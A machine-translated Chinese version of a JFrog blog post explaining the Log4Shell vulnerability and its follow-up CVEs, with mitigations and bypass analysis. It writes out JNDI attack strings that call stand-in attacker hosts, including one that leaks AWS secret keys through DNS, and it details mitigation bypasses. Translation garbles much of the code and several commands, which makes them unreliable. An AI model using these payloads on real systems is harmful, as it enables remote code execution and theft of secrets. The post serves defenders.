博客家

Log4j Log4Shell 0-Day漏洞:所有你需要知道的

通过Shachar Menashe，或者Peles, Ori Hollander

27分钟阅读

Log4Shell漏洞解释

2021年12月9日，周四，阿里云安全团队的一名研究人员倒下了Twitter上的零日远程代码执行漏洞，瞄准极受欢迎的人群log4jJava日志框架(具体来说，是2。X分支称为Log4j2)．这个漏洞最初是发现并报告给阿帕奇11月24日，阿里云安全团队发布了一篇文章。斜方分配cve - 2021 - 44228这个漏洞，后来被称为Log4Shell安全研究人员。

JFrog发布用于识别Log4J使用和风险的OSS工具
获取扫描工具

自12月9日起Log4j脆弱性据报道，在野外被大量利用，因为它很容易被利用(武器化的poc是公开的)，而且非常受欢迎，在媒体和社交网络上得到了广泛的报道。

在这篇技术性博客文章中，我们将阐明这个问题的利用载体，提供准确的研究支持的关于哪些是易受攻击的新信息(因为一些报告不准确)，为无法轻松升级Log4j版本的供应商提出Log4j漏洞补救建议，并回答我们被问及的关于这个漏洞的一些紧迫问题(例如最近几天流传的一些建议的缓解措施的有效性)。

请注意：JFrog产hth华体会最新官方网站品不受影响，因为它们没有使用log4j-core包。

在这篇博文中:

技术更新:

Log4j Log4Shell漏洞的原因是什么?

默认情况下，Log4j2支持一个名为“消息查找替代”。这个特性允许在记录日志时用其他动态生成的字符串替换某些特殊的字符串。例如，记录字符串运行$ {java:运行时}将产生类似于:

运行Java 1.7.0_67版本

已经发现其中一个查找方法，特别是JNDI与LDAP协议，将获取指定的Java类从远程来源并反序列化它，在这个过程中执行类的一些代码。

这意味着如果远程攻击者可以控制记录字符串的任何部分，则远程攻击者可以在记录字符串的应用程序上远程执行代码。

利用这个问题的最常见的替换字符串看起来类似于:

$ {jndi: ldap: / / somedomain.com}

请注意，以下协议也可能用于利用此问题(其中一些默认情况下可能不可用)-

$ {jndi:ldap: / / somedomain.com}

$ {jndi:rmi: / / somedomain.com}

$ {jndi:dns: / / somedomain.com}(允许检测脆弱的服务器，不导致代码执行。)

基本攻击流程可以概括为下图:

Log4j log4shell漏洞攻击流

直接从我们的安全研究团队了解有关Log4j漏洞的所有信息!
观看Log4shell点播网络研讨会

为什么Log4Shell如此危险?

该漏洞收到了最高CVSS评分可能-10.0-由于以下几个因素而极其危险:

  1. 漏洞的利用是微不足道的和持续的，有大量的在GitHub上可以找到武器化的漏洞以及其他公共资源。
  2. Log4j2是最流行的Java日志框架之一。目前有近7000依赖于log4j-core(易受攻击的构件)的Maven构件，还有无数其他Java项目使用它。
  3. 该漏洞很容易在驱动攻击场景中使用，使用类似于以下的请求轰炸随机HTTP服务器:

获取/ http /1.1

主持人:somedomain.com

用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}

或者，一个特定的web应用程序可以通过填充所有可用的HTML来强制使用使用诸如。之类的自动化工具输入带有有效负载字符串的字段XSStrike。

4.尽管该漏洞依赖于上下文，但由于任意用户输入必须达到Log4j2日志记录函数之一(请参阅下一节)，因此这种情况非常常见。在大多数日志场景中，部分日志消息包含来自用户的输入。这种输入很少被消毒，因为它被认为是极其安全的。

Log4j漏洞究竟什么时候可以被利用?

为了使特定的Java应用程序容易受到攻击，必须满足以下所有条件:

  • Java应用程序使用log4j (Maven包log4j-core)版本为2.0.0-2.12.1或2.13.0-2.14.1
    • 版本2.12.2不容易受到攻击，因为它从2.16.0接收了反向端口修复。
  • 远程攻击者可以通过其中一个日志api -记录任意字符串logger.info ()，logger.debug ()，logger.error ()，logger.fatal ()，logger.log ()，logger.trace ()，logger.warn ()。
  • 没有应用特定于log4j的缓解措施(请参阅下一节“缓解措施”)。
  • (部分机器上)当前使用的Java JRE / JDK版本低于以下版本:
    • 6 u211
    • 7 u201
    • 8 u191
    • 11.0.1

这是因为后期版本设置了JVM属性com.sun.jndi.ldap.object.trustURLCodebase来假默认情况下，它会禁止JNDI从任意URL代码基加载类。
请注意，仅依靠新的Java版本来抵御此漏洞是有风险的，因为在易受攻击应用程序的类路径中包含某些“小工具”类的机器上，该漏洞仍可能被利用。看到附录B-“在新的Java版本中使用Log4Shell。”

JFrog产品易受攻hth华体会最新官方网站击吗?

值得注意的是，JFrog Security已经验证了这一点JFrog平台解决方案本身不受影响，因为没有产品，hth华体会最新官方网站包括Artifactory，x光，JFrog分布， Insight, Access或Mission Control，都在使用log4j-core包。

为避免疑问，JFrog产品是hth华体会最新官方网站没有受到影响由下列任何一个cve -

  • cve - 2021 - 44228
  • cve - 2021 - 45046
  • cve - 2021 - 45105
  • cve - 2021 - 44832

我正在使用log4j-api包，我是脆弱的吗?

请注意，一些建议声称Maven包log4j-api在这个问题上很脆弱。JFrog的安全研究团队调查了这一说法，并得出结论Log4j-api(本身)不容易受到攻击。这是由于缺乏JndiLookup功能，并且可以通过尝试触发易受攻击的代码轻松看到。

log4j-api包用户是否受log4shell影响?

在只安装log4j-api的情况下运行这段代码，输出如下:

无法找到日志实现。请将log4j-core添加到类路径中。使用SimpleLogger登录控制台…

时运行相同的代码SimpleLogger类时，将逐字记录查找字符串，但不会触发查找代码(因为它不存在)。

我怎样才能完全修复Log4j Log4shell问题?

解决这个问题的最佳方法是将log4j依赖项升级到版本2.16.0，通过在默认情况下禁用JNDI并删除对消息查找的支持，完全解决了这个问题。

升级到版本2.15.0还将完全屏蔽默认配置，防止远程利用，尽管版本2.15.0增加了大多数缓解措施已经被绕过了(见附录D)．为了保持未来，我们建议尽快升级到2.16.0。

我可以在不升级版本的情况下缓解Log4shell漏洞吗?

虽然我们建议通过将log4j版本升级到固定版本来完全修复漏洞，但不升级也可以完全缓解问题:

方法1:对于log4j 2.10.0及更高版本—禁用查找:

更新-通过CVE-2021-45046，可以在罕见的非默认配置中绕过此缓解方法。看到附录C获取更多信息。我们仍然建议无法升级到较新的Log4j2版本的供应商同时使用下面指定的这种缓解方法和缓解方法2。CVE-2021-45046不影响缓解方法2(删除脆弱类)。

如果使用log4j 2.10.0或任何更高版本，我们建议通过设置环境变量禁用全局消息查找LOG4J_FORMAT_MSG_NO_LOOKUPS来真正的在Java应用程序加载到系统的init脚本之前执行这个命令:

出口LOG4J_FORMAT_MSG_NO_LOOKUPS = true

方法也可以在系统范围内完成/etc/environment文件和添加:

LOG4J_FORMAT_MSG_NO_LOOKUPS = true

这种方法可以作为一个额外的保护层以防您怀疑并非所有依赖项都已正确更新，甚至防止第三方Java包依赖/嵌入易受攻击的版本，且尚未正确修补。

或者，在运行易受攻击的Java应用程序时，通过添加以下命令行标志，可以禁用特定JVM调用的查找:量Dlog4j2.formatMsgNoLookups = True

例如:

java Dlog4j2。formatMsgNoLookups=True -jar vulnerability .jar

方法2 -对于所有2。xversions: removing the vulnerable class

对所有log4j 2。xversions, it is possible to remove theJndiLookup通过执行这个命令，可以从任何Java应用程序中获取class:

查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/lookup/JndiLookup.class\;

这将递归地从当前目录开始查找所有log4j-core JAR文件，并删除易受攻击的文件JndiLookup类。为了实现全面覆盖，可以从项目或服务器的根目录执行该命令。

注意:此方法仅建议作为最后的手段，因为有可能易受攻击JndiLookup类嵌入在递归JAR文件或zip命令不能访问的位置中。在选择此方法时，强烈建议手动验证否JndiLookup类可用于任何Java应用程序。

如何使用JFrog x射线检测Log4shell漏洞?

x射线客户可以像往常一样扫描工件以检测CVE-2021-44228。一如既往，这是可以做到的CI / CD。

Log4shell cve - 2021 - 44228

JFrog命令行:

Log4shell在JFrog CLI中检测CVE-2021-44228

或者JFrog IDE插件:

Log4shell检测JFrog IDE中的CVE-2021-44228

预定x射线安全工具的演示!
预约演示

附录A

脆弱的例子

容易受到远程利用的示例应用程序(来自LunaSec咨询)：

进口org.apache.logging.log4j.LogManager;进口org.apache.logging.log4j.Logger;进口. io . *;进口java.sql.SQLException;进口java.util。*;公共类VulnerableLog4jExampleHandler实现了HttpHandler{静态日志记录器日志=LogManager。getlog（VulnerableLog4jExampleHandler。类。getName（));／***一个简单的HTTP端点，读取请求的用户代理并将其记录回来。*这基本上是解释漏洞的伪代码，而不是完整的示例。*@param他HTTP请求对象* /公共无效处理（HttpExchange他）抛出IOException{字符串userAgent=他。getRequestHeader（“用户代理”）;//这一行通过记录攻击者控制的HTTP User Agent报头来触发RCE。//攻击者可以将他们的User-Agent头设置为:${jndi:ldap://attacker.com/a}日志。信息（请求用户代理:{}, userAgent);字符串响应=“你好，”+ userAgent +“啊!”；他。sendResponseHeaders（200，响应。长度（));OutputStream操作系统=他。getResponseBody();操作系统。写（响应。getBytes（));操作系统。关闭();}}

附录B -

在较新的Java版本中使用Log4Shell

方法1 -滥用其他消息查找

尽管JNDI远程类加载在较新的Java版本中被禁用，但消息查找机制本身仍然有效，并且可以被滥用于各种目的:

  1. 如前所述，使用字符串，如$ {jndi:dns: / / dnsserver.com/somedomain}将导致受害者发送一个DNS查询到dnsserver.com(查询关于somedomainDNS记录)。这可以用来检测易受攻击的log4j实例，隧道回数据，甚至作为DDoS攻击(给定足够多的易受攻击的服务)
  2. 有几个查找替换泄露受害机器的敏感信息。最突出的是，使用攻击字符串$ {jndi: ldap: / / $ {env: AWS_SECRET_ACCESS_KEY} .attacker-srv.com/foo}(任何协议类型)可能会泄漏机器的秘密AWS访问密钥，如果此环境变量被导出到易受攻击的log4j进程。当然，可以修改攻击字符串以泄漏易受攻击的log4j进程中存在的任何环境变量。其他有趣的信息泄露查询包括:
    1. 主:$ {x}-泄漏命令行参数#x的值，其中可能包含通过命令行传递的密码或访问密钥等敏感数据。
    2. $ {sys: propname}-泄漏a的值Java系统属性。例如，这可用于泄漏当前用户名(user.name)：

Log4shell -识别安全漏洞-泄露用户名

方法2 -在本地类路径中滥用工厂类

正如在这篇Veracode博客文章在美国，即使在禁用远程反序列化的较新版本的Java上，也有方法利用JNDI注入。

例如，如果org.apache.naming.factory.BeanFactory类(通常随Apache TomcatServers)在使用log4j的易受攻击应用程序的类路径中可用，则可以利用Log4Shell漏洞进行远程代码执行，而不考虑底层的JRE/JDK版本。

这是因为，即使新版本的Java不会反序列化远程任意类，攻击者仍然可以控制工厂类和它的属性，通过提供的JNDI引用:

使用log4j, Log4Shell漏洞的应用程序可以被利用- apache示例-

远程攻击者不能提供任意的工厂类，但可以重用易受攻击程序的类路径中的任何工厂类作为小工具。

一个可用的工厂类应该具有以下属性:

  • 存在于易受攻击程序的类路径中
  • 实现ObjectFactory接口
  • 实现getObjectInstance方法
  • 执行危险动作参考的属性

研究人员发现BeanFactory类符合这一要求，因为它危险地使用了反射——创建任意Java代码对象，仅基于引用的字符串属性，而这些属性是攻击者控制的。

该博客引用了托管RMI服务器的完整利用代码，并提供了适当的参考，可用于在较新的Java版本中利用Log4shellBeanFactory类在易受攻击应用程序的类路径中可用。

注意，使用这种服务器的Log4Shell攻击字符串类似于-

$ {jndi:rmi: / / attacker-srv.com/foo}

但是，所提供的RMI服务器也可以转换为ldap或ldap服务器，在这种情况下，攻击字符串将相应地改变。

由于其他“工厂小工具”如BeanFactory类，我们强烈建议不要依赖更新的Java版本作为对抗Log4Shell的唯一防线，并升级log4j和/或实现我们建议的一些缓解措施。

方法3 -使用带有本地小工具类的序列化Java对象

如上所述，朴素攻击向量将指示易受攻击的基于log4j2的应用程序检索远程序列化类(通常通过LDAP)并加载它——允许攻击者完全控制类的内容。

但是，LDAP还支持在LDAP请求本身中发送序列化的Java对象(类的实例)javaSerializedData属性。
只有当对象的类在当前类路径(搜索类的目录和JAR文件的列表)中可用时，才可以反序列化对象。
一个重要的区别是，在反序列化对象时trustURLCodebase安全缓解没有任何效果，因为特定的缓解只会阻止新代码库的加载。

众所周知，当某些特定的对象被反序列化时，它们可以直接导致远程代码执行——这些对象所基于的类被通俗地称为“gadget”。
例如:ysoserial概念验证工具聚合了这些众所周知的小工具，并允许生成具有任意代码执行有效负载的对象。

因此，攻击者知道一个特定的“小工具”类存在于易受攻击的应用程序的类路径中，就可以生成这样一个对象，通过LDAP发送它，并在它被反序列化时获得代码执行，而不管它是什么javaSerializedData属性。

此外，由于上述漏洞的信息泄漏属性，攻击者可能能够构建一个全自动工具，首先从易受攻击的应用程序查询特定的系统属性(通过使用递归查找)，确定易受攻击的应用程序中是否存在任何小工具类，然后构建特定于目标的有效负载以获得远程代码执行。

直到今天，我们还没有看到这样的工具公开可用或在野外使用，但不幸的是，我们相信这种恶意的活动还远远没有结束。

附录C -

绕过LOG4J_FORMAT_MSG_NO_LOOKUPS通过使用CVE-2021-45046缓解

我们想在本节开始前说，执行这种旁路的先决条件是极不可能的，因此我们仍然考虑LOG4J_FORMAT_MSG_NO_LOOKUPS缓解在绝大多数情况下是有效的。

由于CVE-2021-45046的披露，据透露，建议的缓解技术之一，即禁用消息查找机制，可以在某些非默认配置中绕过。

底线是- CVE-2021-45046是否可以被利用Log4j2 2.10.0 - 2.14.1(包括)，它允许攻击者绕过LOG4J_FORMAT_MSG_NO_LOOKUPS环境变量缓解，以及log4j2.noFormatMsgLookup系统属性缓解。

那么，CVE-2021-45046的开发条件是什么?

(归功于社区项目log4shell-vulnerable-app实现了类似的示例条件)

  1. 必须向Log4j2配置中添加一个新的(非默认的)模式布局。模式布局必须使用上下文查找($ {ctx:)．一个脆弱的例子log4j2.properties文件-

    在2.14.1中，即使ENV LOG4J_FORMAT_MSG_NO_LOOKUPS为true appender.console.layout.pattern = ${ctx:useragent} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n

    注意Log4j2配置可以用许多不同的方式指定，但在任何情况下都没有默认的上下文查找模式布局-

    Log4j的配置

  1. 易受攻击的应用程序必须使用线程上下文映射，其中攻击者可以控制输入数据，例如:

    public void handle(HttpExchange he)抛出IOException {// userAgent是攻击者控制的String userAgent = he. getrequestheader ("User-Agent");//注意，第一个参数匹配已配置模式ThreadContext中的变量名。把(“useragent”,useragent);//日志消息本身不需要包含任何消息查找log.info("Received a request with User-Agent");.．.

在这两种情况都存在的情况下，攻击者可以“照常”发送攻击令牌——例如，在这种情况下，攻击者可能会发送一个HTTP请求，如-

获取/ http /1.1主持人:somedomain.com用户代理:$ {jndi: ldap: / / attacker-srv.com/foo}

代码执行将会发生，尽管LOG4J_FORMAT_MSG_NO_LOOKUPS缓解。

更新#1 -@pwntester -发布了更多易受攻击模式的例子

MapMessage

示例模式布局:

Appender.console.layout.pattern = ${map:受污染}…

示例Java代码传递用户控制的数据(infected):

MapMessage msg = new StringMapMessage()。(“信息”,“H”)。(“污染”,污染);
logger.error(味精);

杰克逊(仅当杰克逊在应用程序的类路径中)

示例模式布局:

Appender.console.layout.pattern = ${map:受污染}…

示例Java代码传递用户控制的数据(infected):

logger.info(新ObjectMessage(污染));

StructuredDataMessage

示例模式布局:

Appender.console.layout.pattern = ${sd:受污染}…

示例Java代码传递用户控制的数据(infected):

StructuredDataMessage m = new StructuredDataMessage("1"， "H"， "event");
m.put(“污染”,污染);
logger.error (m);

更新#2 -更多由JFrog安全研究团队发现和验证的易受攻击模式的例子-

环境

示例模式布局:

appender.console.layout.pattern = ${env:TAINTED_ENV_VAR}…

主要参数

示例模式布局:

Appender.console.layout.pattern = ${main:0}…

示例Java代码传递用户控制的数据(infected):

MainMapLookup.setMainArguments (args);
logger.error (" foo ");

事件(消息)

示例配置:

< ?xml version="1.0" encoding="UTF-8"?>        ${event:Message} ...             这将有效地重新打开消息查找。因此，可以类似于较旧的Log4j版本执行开发-logger.info (" $ {jndi: ldap: / / attacker.com/foo}”);

附录D -

利用Log4j2 2.15.0进行远程代码执行

Log4j2 2.15.0添加了一个很少有重要的缓解措施拒绝使用Log4Shell漏洞(CVE-2021-44228)。这些是增加的缓解措施及其当前的旁路状态

    1. 缺省情况下，消息查找是禁用的-在特定的配置中可以绕过(CVE-2021-45046及更多)

    1. allowedJndiProtocols- JNDI默认只允许以下协议- LDAP, LDAPS, Java(本地)-没有已知的旁路

    1. allowedLdapHosts- LDAP上的JNDI默认情况下只能访问本地主机(127.0.0.1/localhost) -可以在特定的操作系统中绕过(macOS、FreeBSD、Fedora、Arch Linux、Alpine Linux)

    1. allowedLdapClasses- LDAP上的JNDI在默认情况下只能加载Java基元类总能绕过吗

由于绕过了缓解措施#3和#4,CVE-2021-45046从“低”(3.7)严重级别升级为“严重”(9.0)严重级别，因为开发它会立即导致RCE。话虽如此，正如我们上面提到的，我们仍然考虑开发的先决条件CVE-2021-45046是极不可能的，因为它们需要一个罕见的非默认配置。

这里有一些关于特定旁路的更多细节

缺省情况下，消息查找是禁用的

可以通过-绕过此缓解

    1. 附录C中指定的任何一种配置

    1. 如果应用程序显式地允许消息查找，则通过定义包含% m{查找}在其中一个配置文件中。例如:Appender.console.layout.pattern = %m{查找}

如前所述，在Log4j2 2.15.0中绕过此缓解目前直接导致RCE。

缺省情况下，LDAP上的JNDI只能访问本地主机

正如@marcioalm在推特上所说，一个类似于$ {jndi: ldap: / / 127.0.0.1 # evilhost.com: 1389 /}将绕过本地主机限制，但最终会联系远程evilhost.com只有当易受攻击的应用程序运行在macOS和FreeBSD上时，我们才能重现这种绕过。外部消息来源也报告说Fedora、Arch Linux和Alpine Linux也很脆弱。在其他操作系统上，Java抛出UnknownHostException(在Ubuntu, Debian和Windows上测试)

LDAP上的JNDI默认情况下只能加载Java基元类

注意，如果JNDI已通过非默认配置启用，那么以下两个旁路也可以在2.16.0版本上工作

绕过#1 -检查时间，使用时间攻击

该漏洞是由JFrog的安全研究团队和其他安全研究人员独立发现并向Apache披露的。

版本2.15.0中引入的类加载缓解首先通过调用检查所请求的LDAP属性getAttributes然后通过调用装载LDAP指定的类/对象查找:

if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {if (!allowedHosts.contains(uri.getHost())) {LOGGER。尝试访问ldap服务器不在允许列表中);返回null;} //获取类属性属性属性= this.context.getAttributes(name);if (attributes != null){//类加载检查这里…}……}……//加载类返回this.context.lookup(name);.．.

然而,getAttributes和lookup调用都将导致发送单独的LDAP请求

恶意服务器不需要为两个对象返回相同的LDAP响应getAttributes而且查找请求。

因此，攻击者可以很容易地实现如下操作的LDAP服务器

  • 在LDAP请求#1上-返回一个带有NULL属性的响应(将导致包代码跳过所有属性检查)
  • 对LDAP请求#2 -发送回恶意响应(例如攻击者的URL在javaCodeBase）

Log4shell漏洞- Time-of-Check, Time-of-Use (tocou)攻击

这是一个典型的检查时间，使用时间(tocou)攻击，尽管没有竞争条件，因为攻击者的服务器是同步查询的。

优势-不依赖于在易受攻击应用程序的类路径中可用的“gadget”类
缺点在较新的Java版本中，加载远程代码库会被阻止trustURLCodebase是假的)

绕过#2 -使用伪造名称的序列化对象

在反序列化嵌入式Java对象时，检查对象的类以不完整的方式执行，因为类比较只根据名称进行:

if (attributeMap.get(SERIALIZED_DATA) != null) {if (classNameAttr != null) {String className = classNameAttr.get().toString();if (!allowedClasses.contains(className)) {LOGGER. contains(!warn("{}不允许反序列化"，className);返回null;}

因此，攻击者可以指定任意的对象，但是设置javaClassName到其中一个基本类型来绕过检查-private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName()，
Byte.class.getName()， Character.class.getName()， Double.class.getName()， Float.class.getName()，
Integer.class.getName()， Long.class.getName()， Short.class.getName()， String.class.getName());

与前面的序列化对象绕过类似，这依赖于受害者在本地类路径中拥有序列化对象的适当“gadget”类。

优势-适用于较新的Java版本(其中trustURLCodebase是假的)
缺点-依赖于易受攻击应用程序的类路径中可用的“gadget”类

附录E -

Log4j2中CVE-2021-45105的影响分析

最近，在Log4j2中发布了一个新的拒绝服务CVE- CVE-2021-45105，带有CVSS7.5(AV: N /交流:L /公关:N / UI: N / S: U / C: N /我:N / A: H)。JFrog安全团队已经验证了2.16.0版本的CVE数据和声明，并估计CVSS为3．7(AV: N /交流:H /公关:UI: N / N / S: U / C: N /我:N / A: L)。这一估计是基于以下-

CVE2021 - 45105先决条件

虽然CVE中没有明确指定，但这种攻击的先决条件与CVE-2021-45046完全相同-即，攻击者必须控制某个模式布局的非消息部分。因此，CVE中提到的利用案例(“控制线程上下文映射的攻击者”)只是其中一个适用的案例。实际上，攻击者可以滥用中指定的任何非默认配置附录C。例如，一个配置的模式具有MapMessage也会使应用程序容易受到这个CVE的攻击(只要攻击者控制了受污染的变量)-appender.console.layout.pattern = ${map:受污染}- %-5p %c{1}:%L - %m%n从我们的角度来看，对这种非默认(而且不太可能)配置的需求将此问题的攻击复杂性提高到“高”。

拒绝服务的影响

运行公共exploit string -${::-${::-${}}}在漏洞配置的Log4j2 2.16.0版本上，会生成一个IllegalStateException- - - - - -拒绝服务影响PoC字符串不会导致任何过多的CPU或内存使用，因此DoS影响(如果有的话)不应该有任何系统范围的影响。由于默认情况下，在Log4j2 Appenders(仅记录，不抛出)中忽略异常，因此抛出的异常不会使服务器崩溃这样，DoS的影响就完全减轻了:

private void handleAppenderError(最终的LogEvent事件，最终的RuntimeException ex) {appender.getHandler()。createErrorMsg("处理Appender时发生异常")，event, ex);if (!appender.ignoreExceptions()) {// ignoreExceptions=true，默认抛出ex;}}

官方修复

可以通过将Log4j2升级到2.17.0版本来解决这个问题。

官方修复(版本2.17.0)更改了StrSubstitutor逻辑来处理PoC的边缘情况，并且在面对类似的输入时不会抛出任何异常。
对于传统(Java 7)用户，已经暗示将发布2.12.3版本来修复这个问题，尽管在撰写本文时还没有这样的版本可用。

缓解措施的CVE2021 - 45105

请注意，此问题与JNDI无关，因此之前提出的所有缓解措施(例如删除JNDIJndiLookup类)不会缓解这个问题。

为了缓解这个问题，在不忽略异常的非默认情况下，供应商可以用异常处理程序包装日志代码，这样就不会发生DoS。

总结-这个CVE目前似乎对生产web应用程序不构成现实世界的威胁。
如前所述，JFrog的真实世界估计CVSS是3．7(AV: N /交流:H /公关:UI: N / N / S: U / C: N /我:N / A: L)
我们建议供应商在解决将2.16.0部署升级到2.17.0的任务之前，将任何旧的Log4j2部署升级到2.16.0。

附录F -

Log4shell timeliene

18.07.2013 - The易受攻击的JNDI查找特性是承诺。
24.11.2021 -阿里巴巴员工陈昭君报告Apache漏洞。
26.11.2021 -cve - 2021 - 44228被分配到MITRE。
01.12.2021 -最早的剥削证据根据Cloudflare的说法，这可能表明漏洞细节在公开披露之前就已经泄露了。
05.12.2021 - Apache的开发人员创建bug罚单为了解决这个问题，发布版本2.15.0被标记为目标修复版本。
09.12.2021 -CVE-2021-44228上市(原Log4Shell CVE)。
09.12.2021 -安全研究员在Twitter上删除了一个零日远程代码执行漏洞。这条推文后来被删除。
10.12.2021 -2.15.0版本发布(修复了CVE-2021-44228)，并修复了默认情况下禁用消息查找，并限制JNDI操作到特定的类和主机名。
10.12.2021 -检测到Minecraft服务器的攻击。
13.12.2021 -2.16.0版本发布(修复CVE-2021-45046)完全删除消息查找(不能在任何配置中启用)并默认禁用JNDI支持(可以重新启用)。
14.12.2021 -CVE-2021-45046上市，表明Log4Shell仍然可以在非默认配置上被利用，但没有严重的影响。
15.12.2021 -2.12.2版本发布(对2.16.0有类似的修复)对Java 7的后端口支持。
16.12.2021 - CVE-2021-45046的CVSS提升到9.0，因为在Log4J 2.15.0上发现了几个主机名和类缓解的绕过。
18.12.2021 -CVE-2021-45105上市，显示Log4J的字符串替换中的一个小错误，在非默认配置中可能导致抛出异常。
18.12.2021 -2.17.0版本发布(修复了CVE-2021-45105)，重新实现了字符串替换，并将JNDI锁定为仅在本地使用。
22.12.2021 -2.12.3版本发布(对2.17.0有类似的修复)对Java 7的后端口支持。
22.12.2021 -2.3.1版本发布(对2.17.0有类似的修复)对Java 6的后端口支持。

附录G -

CVE-2021-44832影响分析

在Log4j2 2.17.0中发布了一个额外的远程代码执行CVE -cve - 2021 - 44832， CVSS6.6(AV: N /交流:H /公关:H / UI: N / S: U / C: H /我:H: H)。

CVE的版本为2.17.1 (Java 8)、2.13.4 (Java 7)和2.3.2 (Java 6)。

CVE具有极高的先决条件(下面将详细介绍)，因此不太可能影响任何现实世界的系统。

在这一点上，我们认为从Log4j2 2.17.0(或等效版本)升级并不重要。

CVE2021 - 44832先决条件

目前，只有当攻击者直接控制Log4J的配置文件时，才有可能利用该漏洞，特别是如果攻击者可以添加一个“JDBCAppender具有任意属性。

该漏洞是由于“JDBCAppender”在其程序中接受JNDI数据源而引起的数据源属性。
在访问JNDI数据源时，远程协议(如LDAP)仍然可用，这意味着指定一个字符串，如ldap: / / attacker.com: 1337将导致易受攻击的应用程序联系攻击者的服务器，该服务器可以提供一个远程类或序列化对象来加载。

PoC

这是一个极小的配置文件，将触发漏洞:

< ?xml version="1.0" encoding="UTF-8"?>

如前所述，Log4j可以通过许多不同的格式(JSON、YAML、属性等)进行配置，因此这只是一个工作PoC的示例。

注意，易受攻击的应用程序实际上不需要记录任何东西吗，但记录器确实需要初始化，例如这样-

Logger Logger = LogManager.getLogger("HelloWorld");

CVE2021 - 44832官方修复

可以通过将Log4j2升级到2.17.1 (Java 8)、2.13.4 (Java 7)或2.3.2 (Java 6)来解决这个问题。

的官方修复禁用对JDBCAppender的JNDI支持(默认情况下)，并添加名为log4j2.enableJndiJdbc这允许重新启用它。

此外，JDBC现在重用公共对象JNDIManager类，这意味着之前对JNDI的所有限制都将应用，即使配置了“enableJndiJdbc”(例如，只有本地java允许在连接字符串中使用协议)

气候变化的CVE2021 - 44832

与众所周知的Log4Shell缓解类似，可以从Log4J JAR文件-中删除“JdbcAppender.class”文件

查找。/ -type f -name“log4j-core - * . jar”-exec zip -q -d“{}”org/apache/logging/log4j/core/appender/db/jdbc/JdbcAppender.class\;

JFrog发布用于识别Log4J使用和风险的OSS工具
获取扫描工具

阅读所有关于新的零日SpringShell脆弱性

受欢迎的标签

试试JFrog平台

在云端或自托管

开始试验

或预约演示